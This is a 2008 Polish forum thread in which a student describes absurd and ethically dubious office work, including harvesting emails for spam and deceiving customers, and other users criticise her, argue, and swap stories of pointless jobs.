Forum Praca Praca
ZMIEŃ
    Dodaj do ulubionych

    Moja absurdalna praca

    21.02.08, 16:17
    Ostatnio w mojej firmie wiele sie nie dzieje, jest jakis zastoj, wiec moj
    glownym zajeciem jest kopiowanie i wklejanie do bazy danych e-maili
    przypadkowych ludzi (tylko kasuje stamtad "nospam"), ktorych potem moja firma
    spamuje reklamami. Do tego odbieram liczne telefony ze skargami na spam, jakim
    zasypujemy ludzi, wtedy musze mowic "bardzo mi przykro, nie wiem o czym pan
    mowi, to jakis blad, prosze skontaktowac sie z webmasterem, ja nie mam z tym
    nic wspolnego". Dobrze mi placa to siedze i to robie.

    Moje drugie zajecie tez polega na oklamywaniu ludzi - moja firma nie lubi
    konkurencji i jak ktos z konkurencji zamawia nasze produkty musze im wciskac,
    ze juz wyslalam, ze wszystko bedzie dobrze, ze prosze cierpliwie czekac.
    Jednoczescie wyrzucam ich zamowienie do smietnika i nic nie robie. Potem znowu
    dzwonia i ja znowu mowie, ze wszystko bedzie dobrze, zamowienie jest w toku,
    paczka zaginela ale dzisiaj wyslemy nowa. I tak do znudzenia - moi chorzy
    szefowie wymyslili taki sposob na dokopanie konkurencji - chodzi o to, zeby
    ich troche podenerwowac.

    Gdyby nie to, ze naprawde dobrze mi placa, bo jest to praca studencka i ze nie
    mam czasu ani ochoty szukac czegos lepszego to tam pracuje, ale powoli brakuje
    mi jakiejkolwiek motywacji. Znacie moze jakies jeszcze gorsze zajecia? Moze by
    mnie to pocieszylo...
    Obserwuj wątek
      • Gość: Olga Współczuję IP: *.aster.pl 22.02.08, 10:28
        Ciekawi mnie, jakie stanowisko masz wpisane w umowie o pracę?
        • mary_an Re: Współczuję 22.02.08, 11:22
          CSR - Customer Service Representative w europejskiej siedzibie duzej
          amerykanskiej firmy. Brzmi naprawde ladnie w CV, wiec tam siedze. Wlasnie
          wychodze do pracy, dzisiaj piatek po poludniu, juz sie boje jakie zajecie mi tym
          razem wymysla.

          Aha, jeszcze cos mi sie przypomnialo - kiedys przez miesiac wysylalam tone
          faksow na rozne numery, tez z niby waznymi informacjami. Kilka razy kazali mi
          zostac po godzinach, zeby wysylac te faksy - zaplacili, to zostalam, a co mi
          tam. Potem klienci odpowiadali na te faksy (wysylali z powrotem wypelnione), a
          moim zadaniem bylo wpisywanie ich odpowiedzi do bazy danych - kolejny miesiac. A
          potem przychodze do pracy i moim zadaniem bylo niszczenie tego wszystkiego w
          niszczarce, baza danych zostala wykasowana, projekt wycofano - po prostu porazka
          do kwadratu. Tak sobie mysle - co to za firma, ktora placi ludziom grube
          pieniadze za takie durne, zupelnie bezsensowne zajecia.

          I moje ulubione zajecie - jak ktos zamowi u nas produkt i poda zla cene, to
          trzeba go o tym powiadomic. WIec ktos zamawia cos za powiedzmy 2000 Euro, ale
          pomylilo mu sie z wpisal 1999 - musze dzwonic, szukac jego telefonu, denerwowac
          ludzi, zeby milym glosem powiedziec "dzien dobry, tu firma XXX, zamowil pan u
          nas produkt, ale niestety cena sie nie zgadza. Czy zgadza sie pan zaplacic 2000
          EUro zamiast 1999?". Wtedy zostaje jak zwykle zbluzgana, bo czesto odrywam ludzi
          od waznych zajec, czasami zajmuje mi ponad godzine, zeby do kogos dotrzec i go
          poinformowac, ze placi 1 Euro wiecej, przy czym na telefon i na moja pensje
          firma wydaje 30 razy wiecej.

          W mojej firmie juz mnie nic nie zdziwi.
          • Gość: Marek To akurat nie jest nic dziwnego IP: *.dip.t-dialin.net 13.03.08, 19:39
            ...ze ktos podejmie decyzje ze "robimy to-i-to", a potem okaze sie ze jednak nie ma sensu - i to co pracownicy do tej pory w temacie zrobili, mozna wyrzucic. W dzisiejszym swiecie firmy musza szybko reagowac na to co sie dzieje na rynku - i straty w wyniku zrobienia czegos za pózno moga byc duzo wieksze od strat w wyniku rozpoczetej i porzuconej iwestycji.

            Podobnie z tymi cenami - w ogóle, problemy z błedami czy nietypowymi zachowaniami klientów: Ze trzeba zadzwonic albo napisac list, zuzyc czasem godzine lub wiecej z powodu kilku złotych róznicy. To musi tak byc, inaczej klienci predzej czy pózniej zaczeliby płacic jak chca, myslec ze produkt w rzeczywistosci wcale nie jest tyle wart ile za niego chcemy.
            • tetlian Przykre że niektórzy dla pieniędzy zrobią wszystko 14.03.08, 15:00
              Spam, reklamy w trakcie filmów, wyskakujące okienka na stronach, ludzi
              wciskających na ulicy na siłę ulotki i inne podobne formy reklamowania uważam za
              jedne z najgorszych rzeczy naszych czasów. Gardzę każdą osobą, która wspiera tą
              spamowo-margetingową machinerię. Nienawidzę gdy ktoś próbuje mi na siłę coś
              zareklamować. Toteż i tego nie wspieram. Nigdy bym nie podjął tego typu pracy za
              żadne pieniądze. Zalewanie ludzi takim syfem to najzwyklejsze chamstwo., brak
              poszanowania ich prywatności.

              Pracować należy tylko przy czymś pożytecznym, ewentualnie nie szkodzącym innym
              ludziom. Ale nie przy takich (tu brzydkie słowa) rzeczach.

              Tak więc proszę Cię, zastanów się nad swoją pracą i poszukaj innej.

              Przepraszam za ostrość posta, ale ten marketing denerwuje mnie coraz bardziej.
              • wiseman_said PO = Polaków Otumaniliśmy 14.03.08, 16:03
                a praca kaczora donalda t.?
                rządzi narodem, którego szczerze nienawidzi.
                Pewnie to taka taktyka, żeby łatwiej Polaków sprzedać, ale jednak
                musi się uśmiechać do nas i kłamać i klamać i kłamać
                • Gość: gajwer Re: PO = Polaków Otumaniliśmy IP: 212.244.192.* 17.03.08, 10:12
                  po co do tego mieszać jeszcze politykę? Skad pomysł na nienawiść
                  D.T. do narodu? Sprzedaż Polaków? Chyba 2 lata rządów PIS pomieszało
                  ci trochę w małej główce sciśniętej beretem. Sam kłamiesz na tym
                  forum i do tego tworzysz off-topic.
                  • the_dzidka Re: No niestety 17.03.08, 15:56
                    Namnożyło sie na forach róznej masci niepozytecznych idiotów, którym
                    wszystko się kojarzy z polityką, tak jak erotomanom z d**ą. Nie
                    wiem, czy mam się na takich wkurzać, czy ich serdecznie żałować, bo
                    co oni maja za zycie? rzecz ciekawa: gwałtowny wysyp tego gatunku
                    rozpoczął się na jesieni 2005 r., wczesniej to zjawisko występowało,
                    ale nie az w takim natężeniu.
                    • Gość: kk Re: No niestety IP: *.chello.pl 17.03.08, 17:15
                      nie dzidko, nie namnożyło się - oni prawdopodobnie są opłacani. tak jak autorka
                      postu dostaje pieniądze za kłamanie, tak oni dostają forsę za śledzenie forów
                      internetowych i ujadanie, ujadanie, ujadanie...
                    • thorgal_aegirsson Re: No niestety 17.03.08, 19:15
                      the_dzidka napisała:

                      > wczesniej to zjawisko występowało,
                      > ale nie az w takim natężeniu.

                      Sprzedaż sprzętu rośnie lawinowo, więc się pleni to tałatajstwo. :/
                • Gość: yacho won spamerze: PiS płaci piszemy bzdety? IP: *.neoplus.adsl.tpnet.pl 17.03.08, 20:47
                  masz pracę jak założycielka wątku? Pisz na temat albo wynocha na
                  forum waszego dziennika.
                • Gość: waniliowy PiS=Przeproś i Spie..j IP: *.tktelekom.pl 17.03.08, 23:56
                  "prawdziwy" Polaku, a kto by cię chciał kupić? Sądząc z twojej wypowiedzi,
                  inteligencji w tobie zero.

                  splunięcia nie jesteś wart, a co mówić o pieniądzach.

                  niedoścignionym wzorcem kłamstwa w polityce jest kurdupel Jarosław Kłamczyński.
                  Ten błazen w swoim kłamstwie posunął się do absurdu. A nos ma dłuższy, niż sam
                  sięga od ziemi. Pinokio.
              • Gość: kowianeczka Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.lodz.msk.pl 14.03.08, 18:32
                tetlian napisał:

                > Spam, reklamy w trakcie filmów, wyskakujące okienka na stronach, ludzi
                > wciskających na ulicy na siłę ulotki i inne podobne formy reklamowania uważam z
                > a
                > jedne z najgorszych rzeczy naszych czasów. Gardzę każdą osobą, która wspiera tą
                > spamowo-margetingową machinerię. Nienawidzę gdy ktoś próbuje mi na siłę coś
                > zareklamować. Toteż i tego nie wspieram. Nigdy bym nie podjął tego typu pracy z
                > a
                > żadne pieniądze. Zalewanie ludzi takim syfem to najzwyklejsze chamstwo., brak
                > poszanowania ich prywatności.
                >
                > Pracować należy tylko przy czymś pożytecznym, ewentualnie nie szkodzącym innym
                > ludziom. Ale nie przy takich (tu brzydkie słowa) rzeczach.
                >
                > Tak więc proszę Cię, zastanów się nad swoją pracą i poszukaj innej.

                Tylko widzisz, takie oferty pracy stanowią 80% ogłoszeń. Więc i tak większość Polaków musi przy tym pracować, bo inaczej będzie wiecznie bezrobotna, jak nie ma znajomości.
                • tetlian Re: Przykre że niektórzy dla pieniędzy zrobią wsz 14.03.08, 19:16
                  > Tylko widzisz, takie oferty pracy stanowią 80% ogłoszeń. Więc i tak większość P
                  > olaków musi przy tym pracować, bo inaczej będzie wiecznie bezrobotna, jak nie m
                  > a znajomości.

                  Znajomości? Chyba umiejętności, kwalifikacji, odpowiednich studiów,
                  certyfikatów, itp.. Kto zatrudnia po znajomości tego firma długo nie pociągnie.
                  • Gość: kowianeczka Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.lodz.msk.pl 14.03.08, 23:44
                    tetlian napisał:
                    > Znajomości? Chyba umiejętności, kwalifikacji, odpowiednich studiów,
                    > certyfikatów, itp.. Kto zatrudnia po znajomości tego firma długo nie pociągnie.

                    Pierwsza praca po znajomości. Nikt nie chce zatrudniać człowieka po studiach i zajmować się jego wdrażaniem. Akurat znam wiele osób z odpowiednimi studiami, którzy pracy nie mają dlatego, że nikt nie chce im dać szansy nabycia doświadczenia.
                    • tetlian Re: Przykre że niektórzy dla pieniędzy zrobią wsz 15.03.08, 09:53
                      Dziwne. To dlaczego ja dostałem pracę? Bo dobrze zaprezentowałem się na rozmowie
                      kwalifikacyjnej. Podobnie jak wielu innych moich znajomych.

                      Jeśli szef firmy przyjmuje ludzie po znajomości, nie patrząc na ich
                      kwalifikacje, to szybko może doprowadzić swoją firmę do bankructwa. Zatrudnianie
                      niekompetentnych ludzi to tylko szkodzenie samemu sobie.
                      • Gość: soul Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.netburg.pl 17.03.08, 16:39
                        >Nienawidzę gdy ktoś próbuje mi na siłę coś
                        >zareklamować. Toteż i tego nie wspieram. Nigdy bym nie podjął tego >typu pracy
                        za żadne pieniądze.

                        tetlian co ty za bzdury wygadujesz, ty jesteś jednym z najgorszych spamerów
                        którzy zaatakowali serwis gazeta.pl (i pewnie kilka innych)! zapomniałeś juz jak
                        na każdym wątku dopisywałeś ze "faine" i dawałeś ten link do tych podłych
                        animacyjek? aby zarobic nędzne kilka dolców. rzygać mi sie chce gdy widzę twoj nick.
                        • tetlian Re: Przykre że niektórzy dla pieniędzy zrobią wsz 17.03.08, 22:53
                          Cóż, jak ktoś nie odróżnia podpisu pod komentarzem od spamu to jego problem.
                          Podpis w przeciwieństwie do wyskakującego okienka nie jest agresywny i nikt nie
                          jest zmuszany, by w niego klikać.

                          I skąd tyle jadu i nienawiści? To że nie potrafisz docenić prawdziwej sztuki, to
                          nie znaczy że możesz obrażać autora komentarza.
                          • Gość: debilan "prawdziwej sztuki" buahahahahahahahahahahahahahah IP: *.dslgb.com 18.03.08, 00:22
                            zmieniam o tobie zdanie, tetilan

                            jesteś najlepszym kabareciarzem, jakiego spotkałem od 5 lat
                          • Gość: soul Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.netburg.pl 18.03.08, 11:27
                            dzień i noc spamowełes ten serwis próbując zarobić śmiesznie małą kwotę , to
                            daje obraz twoich możliwości intelektualnych oraz jak wygląda twój status
                            społeczny. natomiast jeśli chodzi o sztukę to nie masz nawet pojęcia co może to
                            słowo znaczyć.
                            • Gość: Aldis Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: 193.138.110.* 09.06.09, 15:41
                              Piszesz o statusie spolecznym tego kolesia i naszla mnie pewna refleksja: jak
                              czytalem jego pelen nienawisci post to doszedlem do wniosku, ze koles pewnie
                              klepie biede i jest cholernie zazdrosny o to, ze komus dobrze placa za
                              reklamowanie/sprzedawanie towaru, na ktory jego jeszcze dlugo nie bedzie stac.

                              Pozdro,
                              A.
                          • Gość: tmk Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.malopolska.mw.gov.pl 18.03.08, 13:22
                            po prostu nie odzywaj się więcej. Jest mnooooooostwo ludzi na forum, których
                            Twoje posty wkurzają na maksa. Zamilcz miast bredzić
                          • Gość: Jaś Wędrowniczek Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.icpnet.pl 09.08.08, 12:04
                            hehe, to chyba pierwszy jego post z agresją. Normalnie pod każdym
                            tematem było: Fajne, super, żeby tylko się nie wychylać :)
                  • Gość: fluxxx Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.neoplus.adsl.tpnet.pl 18.03.08, 12:33
                    tetlian napisał:

                    > Znajomości? Chyba umiejętności, kwalifikacji, odpowiednich studiów,
                    > certyfikatów, itp.. Kto zatrudnia po znajomości tego firma długo nie pociągnie.
                    >

                    Jak zwykle guzik wiesz a pie..sz. Ty to chyba zyjesz w jakiejs rownoleglej
                    rzeczywistosci na planecie rozowych kucykow.
              • Gość: Marcin Nie gadaj glupot Tetlian, albo nie klam IP: *.ztpnet.pl 17.03.08, 14:59
                to ty spamowales to forum, zeby klikac w twoja debilna sygnaturke...
                juz zapomniales?
              • Gość: Tetlina Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.aster.pl 17.03.08, 17:22
                nick tetlian sam jest autorem spamu odsyłając do durnych filmików
                zwykłe chamstwo, nigdy nie kliknę w jego link
              • Gość: quasi artysta tetilan cwaniaczku zacznij od siebie IP: *.dslgb.com 18.03.08, 00:08
                a ty niby co robisz?
                od ponad roku pod kazdym artykulem zamieszczasz "komentarze" o
                nijakiej wartosci i do kazdego stopka z linkiem do twoich wypocin
                od roku tych samych
                kryptospamerze jeden
                przynajmniej bys cos nowego "wykreował" miernoto jedna
                żal ci d..ę ściska, że komus płacą ?
                to wez sie k....... do roboty, tez bedziesz zarabial


                • tetlian Re: tetilan cwaniaczku zacznij od siebie 18.03.08, 00:26
                  Nie ma to jak zbluzgać człowieka, którego w ogóle się nie zna :/

                  Zazwyczaj staram się ignorować tego typu komentarze, ale czasem nie wytrzymuję.
                  Czy lepiej się czujesz obrażając inną osobę? Rozumiem, że Tobie by się podobało,
                  gdyby ktoś obrzucił Cię wyzwiskami?

                  Ehh, takie niestety są minusy tego, że pochodzimy od drapieżników. Wrodzona
                  agresja, którą nie każdy potrafi pohamować. Przez to Internet jest zalany tonami
                  tego typu postów, w których autorzy bluzgają nawzajem na siebie. Ale jaki w tym
                  cel? Czy nie mogą grzecznie porozmawiać? :/
                  • Gość: soul Re: tetilan cwaniaczku zacznij od siebie IP: *.netburg.pl 18.03.08, 11:41
                    kilka postów wyżej napisałeś: "Gardzę każdą osobą, która wspiera tą
                    spamowo-margetingową machinerię. Nienawidzę gdy ktoś próbuje mi na siłę coś
                    zareklamować."

                    sam gardzisz i nienawidzisz ludzi których nie znasz, ale to ty jesteś osoba
                    która jak mało kto, zapracowała sobie na pogardę i nienawiść użytkowników Internetu.
              • Gość: awc Re: Przykre że niektórzy dla pieniędzy zrobią wsz IP: *.devs.futuro.pl 15.09.08, 20:12
                > Nigdy bym nie podjął tego typu pracy za
                > żadne pieniądze.

                Jasne. A swistak siedzi i zawija.
          • Gość: antry-kot 20.58 to popoludniu? IP: *.acn.airbites.pl 18.03.08, 10:04
            Wlasnie
            > wychodze do pracy, dzisiaj piatek po poludniu, juz sie boje jakie zajecie mi ty
            > m
            > razem wymysla.
            godzina twojego postu to 20.58. jak to?
          • iberka brzmi jak International Paper itd itd 18.03.08, 18:36
            ale jak można kłamać żeby pracować? już nic mnie nie zdziwi no ale
            może własnie dlatego,że ja nie potrafię to nie pracuję
          • homard Re: Współczuję 20.03.08, 23:43
            dlatego własnie korzystam ze skrzynki nie polskojezycznej od
            jakiegos czsu...wiecie jak pięknie nie płace ani grosza nie dostałem
            ani jednego mailu ze spamem aprzy okazji zawsze troche obcego
            jezyka człowiek złapie Polecam:-)
      • Gość: jola Re: Moja absurdalna praca IP: *.eranet.pl 22.02.08, 10:59
        Mary an, masz problem natury moralnej czy tylko motywacyjnej?
        Bo jeśli moralnej, to tego, co w tobie cierpi, nie uleczysz żadnymi
        pieniędzmi.
        Jeśli tylko motywacyjny.... to wyobraź sobie jedynie, na co miec nie
        będziesz, jak przestaniesz tam pracować.
        Szkoda tylko, że - jak rozumiem - już jako studentka masz do
        czynienia z nieetyczną pracą, bo to stępi Twoje sumienie na
        przyszłośc, a na pewno nie pozostanie bez śladu.
        Z tego biorą się później "bezduszni pracodawcy", "bezduszne
        firmy", "wyścig szczurów" i "wszystko jest na sprzedaż", czyli
        człowiek wymienia się na pieniądze.
        A przecież człowiek znaczy więcej.
      • 0tdr0 Re: Moja absurdalna praca 22.02.08, 11:15
        No coz. W razie czego ty bedziesz odpowiadac karnie/cywilnie za spam i
        oszukiwanie kontrahentow, bo Twoj sprytny pracodawca- oszust na pewno znajdzie
        inny sprytny sposob, zeby wine zrzucic na Ciebie. Milej zabawy padlinozerco.
        • mary_an Re: Moja absurdalna praca 22.02.08, 11:26
          Nie bede odpowiadala za spam, bo tego nie mozna mi przyporzadkowac. Pracuje tam
          wiecej osob, ktorych zajeciem jest wpisywanie e-maili do bazy danych, z ktorej
          potem wysylane sa spamy z siedziby firmy w USA. Nie obwinia mnie o wysylanie
          rzeczy z Ameryki. Mam opcje - albo to robic, albo zrezygnowac. Nie zrezygnuje,
          bo juz koncze studia i nie oplaca mi sie szukac nowej pracy.

          Mysle, ze jest to bardzo ciekawe doswiadczenie na przyszlosc, wiele sie dzieki
          tej pracy nauczylam - nigdy wiecej juz nie pracowac w takiej gownianej firmie.
          • 0tdr0 Re: Moja absurdalna praca 22.02.08, 13:51
            No to zycze powodzenia w szukaniu sensownej pracy.

            A co do spamerow, to miejmy nadzieje, ze stanie sie on zawodem wysokiego ryzyka:
            www.emetro.pl/emetro/1,82493,4648529.html ;)
            • mlody-inwestor Re: Moja absurdalna praca 14.03.08, 16:49
              > A co do spamerow, to miejmy nadzieje, ze stanie sie on zawodem wysokiego ryzyka
              > :
              > www.emetro.pl/emetro/1,82493,4648529.html ;)

              Tak sie tylko sklada ze ta wiadomosc byla zmyslona.
              Odsylam do slashdot.com zamiast do jakis badziewnych stron ktore nie prostuja tego typu informacji.
          • annajustyna Re: Moja absurdalna praca 23.02.08, 09:40
            To ja wypale z ostrej rury: jak zaczniesz szukac pracy juz po studiach, to
            jeszcze zatesknisz za obecna:(((. Zwlaszcza na rynku niemeickim, na ktorym za
            fachowca uchodza tylko ludzie z wyksztalceniem zawodowym, a nie po studiach:(((
            • mary_an Re: Moja absurdalna praca 23.02.08, 16:21
              Po studiach sie stad wynosze, don't worry. Moge jeszcze zostac w mojej cudownej
              firmie, byc przelozona CSRs i pracowac na pelen etat.

              Jeszcze cos ciekawego - w mojej firmie ludzie maja 20 dni urlopu rocznie,
              podobno to nielegalne, ale nikt nie podskakuje, bo boja sie, ze ich wywala.
              • annajustyna Re: Moja absurdalna praca 23.02.08, 16:43
                Minimalny urlop w DE to 21 dni. Nie przejmuj sie robota. Wazne, ze zdobedziesz
                jednak jakies dosw + wis do Cv (aczkoliwek wspolczuje i zycze znalezienia czegos
                lepszego).
                • Gość: santosubito Re: Moja absurdalna praca IP: *.233.54.59.static.cablesurf.de 14.03.08, 14:45
                  Minimalny urlop w DE to 24 dni, tak tylko koryguję...
                  • annajustyna Re: Moja absurdalna praca 14.03.08, 22:38
                    Fakt, racja...
        • Gość: ds Re: Moja absurdalna praca IP: 213.17.150.* 18.03.08, 13:01
          kazdy szef to qtas bez wyjatku
      • Gość: Shifu Re: Moja absurdalna praca IP: 80.50.235.* 23.02.08, 20:00
        Wygląda na nie dokońca moralną pracę. Jeśli jesteś studentem i masz
        już doświadczenie, proponuję poszukać sobie innej pracy, nawet
        kosztem niewiele mniejszej pensji.
      • mary_an Czy to normalne? 29.02.08, 17:54
        Dzisiaj dowiedzialam sie, ze moja firma w ramach dokopania konkurencji kupuje od
        nich produkty i sprzedaje je po nizszej cenie - zeby odebrac im klientow. Czy to
        normalne??
        • annajustyna Re: Czy to normalne? 01.03.08, 08:18
          Nie, to podchodzi pod gospodarczy terroryzm (a powaznie: przepisy o nieuczciwej
          konkurencji). Najlepiej, gdybys mogla od razu wypowiedziec:(((
        • Gość: moki1 Bardzo mi się twoja firma podoba. IP: *.chello.pl 18.03.08, 01:30
          Chciałbym mieć takiego konkurenta.
          Czy twoja firma nie mogłaby zostać moim konkurentem i wykupić całą
          moją produkcję? A potem niech robi co chce choćby i rozdaje za darmo
          albo wyrzuca.
          • Gość: gfsagasd Re: Bardzo mi się twoja firma podoba. IP: 90.156.115.* 09.06.09, 18:24
            > Czy twoja firma nie mogłaby zostać moim konkurentem i wykupić całą
            > moją produkcję?

            Potem wystarczy podszyć się pod klientów którym sprzedaje po niskiej cenie i
            drugi raz im opchnąć to samo bez konieczności produkcji
      • Gość: Gajwer Re: Moja absurdalna praca IP: 212.244.192.* 14.03.08, 13:57
        mary_an załóż może bloga jak chcesz się pouzewnętrzniać, napisz do
        Bravo, umów się z kolegą/koleżanką na ploty - będziesz mogła słodko
        wypierdzieć wszystkie swoje bolączki, ale nie zaśmiecaj tego forum
        takim g.....
        • annajustyna Re: Moja absurdalna praca 14.03.08, 22:39
          A dlaczego nie? To Twoje prywatne forum?
        • mary_an Re: Moja absurdalna praca 15.03.08, 14:12
          To forum to przeciez dilbertoza, zaczelam rozumiec ten komiks dopiero jak
          zaczelam tam pracowac. Jak sobie czytam scenki z Dilberta to jakby zywcem z
          mojej pracy.
          Chcialam tutaj napisac, bo serio interesuje mnie, czy jeszcze w innych firmach
          tak jest, czy trafilam na jakis bardzo rzadki wyjatek. To w sumie moja pierwsza
          praca, dlatego mnie to interesuje. Bo nie chcialabym na przyszlosc znowu
          wyladowac w takim bagnie - no chyba, ze to jednak standard co tam sie dzieje.
      • pieskuba mary_an, mam pytanie 14.03.08, 16:37
        Po co konkurencja zamwia u Was Wasze produkty? Nie ma własnych?
        Zawsze myślałam, że firmy konkurencyjne robią mniej więcej to samo,
        nieważne czy to serki, leki, samochody czy karmę dla psów? Czyli -
        po licho im Wasza karma dla psów jeśli sami robią swoją?
        • kaaarolinkaa Re: mary_an, mam pytanie 14.03.08, 22:07
          np.firma sprzedaje karme Purina. Konkurencja sprzedaje karme IAMS po
          30 zł/kg. Kupujesz od konkurencji karme IAMS po 30 zł/kg i
          sprzedajesz ja po 15 zł/kg
          w ten sposob nikt nie kupuje u konkurencji IAMS-a tylko u Ciebie i
          konkurenja nie majac obrotów, upada.
          • Gość: Arek Chyba błąd logiczny. IP: *.neoplus.adsl.tpnet.pl 17.03.08, 15:12
            Chyba błąd logiczny. Jeśli oni kupują u mnie aby potem sprzedać
            taniej to znaczy że jest zbyt. Zbytem jest konkurencja właśnie.
          • cobia Oj, kaaarolinkaa...z mysleniem to u Ciebie kiepsko 02.09.08, 20:35

            skoro ja kupuje od konkurencji po 30, to konkurencja MA obroty...
            czym wiecej osob kupuje u mnie po 15, tym ja wiecej kupuje u
            konkurencji po 30 (w mysl Twojej pokretnej logiki).

            ale to ja upadne niebawem, bo doplacam do kazdej sztuki 15 pln
            karmiac konkurencje.

            Nie bierz sie Karolinko za biznes, nawet rozmiaru warzywniaka, bo
            marnie skonczysz.
        • mary_an Re: mary_an, mam pytanie 15.03.08, 14:07
          Na swiecie jest moze z 5 firm, ktore produkuja tego typu produkty, przy czym nie
          wszystkie sa takie same. Moja firma kupuje od konkurencji i sama sprzedaje
          taniej pod wlasna nazwa, zeby wytepic konkurencje z rynku. Moja firma generalnie
          produkuje produkty dosyc marnej jakosci, ale za to tanie. Do tego wykupuje od
          konkurencji produkty dobrej jakosci i sprzedaje taniej, zeby pracowac nad dobrym
          imagem - do naszych gownianych produktow dochodza dobre innej firmy i srednia
          zadowolenia klientow sie podnosi.
          • Gość: lap Re: mary_an, mam pytanie IP: *.i-soft.pl 17.03.08, 15:09
            Wez juz skoncz opowiadac te bajki,
            Albo zacznij opowiadac je w piaskownicy, tam Co moze uwierza
            • Gość: nai Re: mary_an, mam pytanie IP: *.adsl.inetia.pl 18.03.08, 03:22
              lap, a ja jej wierzę. Dostaję mnóstwo spamu z reklamami środków "na
              potencję", pomimo, że jestem kobietą. I tak sobie myślę, że właśnie
              jeśli jedna firma produkuje takie tabletki na potencję gorszej
              jakości, które tanio sprzedaje, ale czasem "wymiesza" te swoje marne
              pigułki z lepszymi kupionymi u konkurencji, to faktycznie klientowi
              przynajmniej od czasu do czasu (kiedy trafi się ta lepsza pigułka)
              potencja wzrośnie, i będzie zadowolony, i będzie nadal kupował te
              tanie tabletki...
      • 328i Nie martw się ja mam gorszą pracę 17.03.08, 15:09
        Pracuje raz/dwa razy w tygodniu, az szef wiezie nas w okolice jakiegos
        Mercedesa, ktorym potem musze odjechac. Raz na pol roku gadam z policjantami, ze
        "bardzo mi przykro, nie wiem o czym pan mowi, to jakis blad". Jak szef podwozi
        nas pod beemke, to wrzucamy cegly, albo palimy, bo to konkurencja (cala branza
        jezdzi beemkami, ja tez :D )...
      • Gość: TheFisherKing Praca w okienku punktu poboru opłat autostrady IP: 83.238.244.* 17.03.08, 15:15
        Według mnie wyjątkowo straszne zajęcie.
        • the-dubliner Re: Praca w okienku punktu poboru opłat autostrad 17.03.08, 17:06
          samo to, ze zalozylas ten watek zamiast isd do innej pracy i nie zawracac glowy
          swiadczy o czyms
      • Gość: haha Re: Moja absurdalna praca IP: *.subscribers.sferia.net 17.03.08, 22:50
        Być może w Twojej firmie przynajmniej struktura zatrudnienia jest normalna. Bo u mnie to wygląda tak: 1 prezes, 15 dyrektorów, 1 sekretarka, 1 kierownik i 5 pracowników liniowych. Jest więc odwrotnie niz powinno być. A przy okazji, może ktos wie jak się nazywa taka struktura. Bo chyba na studiach akurat ten wykład opuściłem. :)
      • zenek_porylo Re: Moja absurdalna praca 18.03.08, 00:23
        ja licze samochody i ludzi w londynie 9h dziennie 6 dni w tygodniu. jeszcze troche dam rade...
      • Gość: Retro spis Re: Moja absurdalna praca IP: *.punkt.pl 18.03.08, 06:49
        Absurdalna praca retro . Było to w czasach przed ogólnie
        drukarkowymi . Akcja sień wieżowca . Spis lokatorów 100 pozycji.
        Pojawia się rzeczony , pięknie wykaligroifany . Po 3 dniach ginie ,
        albo leży podarty . Po kilku dniach pojawia się nowy. Jak bym to był
        ja i przepisywał bez sensu te spisy. To po 3 razie odmówił bym
        wykonania polecenia służbowego i moja kariera w spółdzielni dobiegła
        by końca .
        • Gość: ziuta Re: Moja absurdalna praca IP: *.devs.futuro.pl 18.03.08, 10:13
          hehe, moja praca też jest debiliczna: firma koncernowa, handlowa, stali klienci.
          15 osób z wyższym wykształceniem siedzi i wbija cyferki do systemu. Praca dla
          ludzi po podstawówce, ale dobrze płacą, prywatna opieka zdrowotna, raz w roku
          grill z chlaniem, raz paintball, też z chlaniem.
          Szefowa z mentalnością kury z grzędy i z taką jak kura wielkością mózgu, biega
          po sali krzycząc do służbowej (oczywiście) komórki: no czeeeeeeść misiuuuuuuuu,
          jak mija dzień? hahahaha.

          Uffff....od 1 kwietnia idę do nowej pracy. Piękny, cudowny, wspaniały to dzień.
          Bo tu mózg już się lasował ;-)
          • mary_an Re: Moja absurdalna praca 19.03.08, 23:06
            Ooo to dokladnie moja praca, jakbym slyszala o wlasnej firmie :) Ja jeszcze tam
            pracuje przez jakies 3 miesiace a potem wreszcie wolnosc :)
      • Gość: Pepino82 Re: Moja absurdalna praca IP: 195.47.201.* 18.03.08, 10:55
        Tak sobie czytam i nie mogę się powstrzymać od opisania pewnej
        sytuacji w moim biurze. Otóż w związku ze zmianami kadrowymi
        zmuszona zostalam do opuszczenia mojego miejsca pracy, co nie było
        złe ponieważ dostałam swój pokój i nowe zaplecze pracownicze. Mój
        stary komputer został w pokoju w którym teraz urzęduje pani
        kierownik.
        Telefon- Pani x proszę niezwłocznie stawić się w moim pokoju!!!!
        Tak więc ja szaraczek pędzę ile sił w nogach z językiem na brodzie
        na trzecie piętro. Wpełzam z pokorną miną do gabinetu a pani
        kierownik z ząbkami na mnie.
        -Pani x dlaczego pani mi zaszyfrowała dokumenty w komputerze!!!???
        -Nic nie szyfrowałam.
        -Jak to nie ja do komputera a tam podaj hasło!!!!
        -Jakie hasło?????
        -Hasło! wpisuje pin, wpisuje regon, nip a tu błąd!!! Jak tak można!!
        -zaraz sprawdzę.
        Włączyłam kompa, patrzę a tam małe okienko ze słoneczkiem.
        -Pani kierownik to jest hasło do Gadu Gadu (któreg ja nie
        zakładałam, a sama kierowniczka sobie kazała założyć)
        Dodam tylko, że gdy wychodziłam pani kierownik w pełni świadoma
        swojego błędu powiedziała zamiast przepraszam:- Proszę więcej mi nic
        nie szyfrować.
        No cóż uśmiechnęłam się i wyszłam bo nie było sensu drążyć tematu.

        Pozdrawiam wszystkich szaraczków, którzy niejednokrotnie muszą
        wiedzieć wiele więcej niż ci u góry.
        • ab03 Re: Moja absurdalna praca 18.03.08, 11:43
          Jak ta firma sie nazywa, "Monty Python" ? ;)

          Jeszcze pare historyjek i bedziesz mogla pisac scenariusze do serialu "The
          Office" ;)

          ---
          Z tomiku poezji: Co ? Gó..!
      • Gość: nisse Re: Moja absurdalna praca IP: *.neoplus.adsl.tpnet.pl 18.03.08, 12:15
        Lepiej ci chyba koleżanko nie odpisywać po zalogowaniu na gazetę, bo zdobędziesz
        kolejne namiary na maile do wrzucenia do swojej spamowej bazy danych. Ciekawe
        ile osób z gazetowego forum już spisałaś co? Nigdy nie zrozumem, dlaczego ludzie
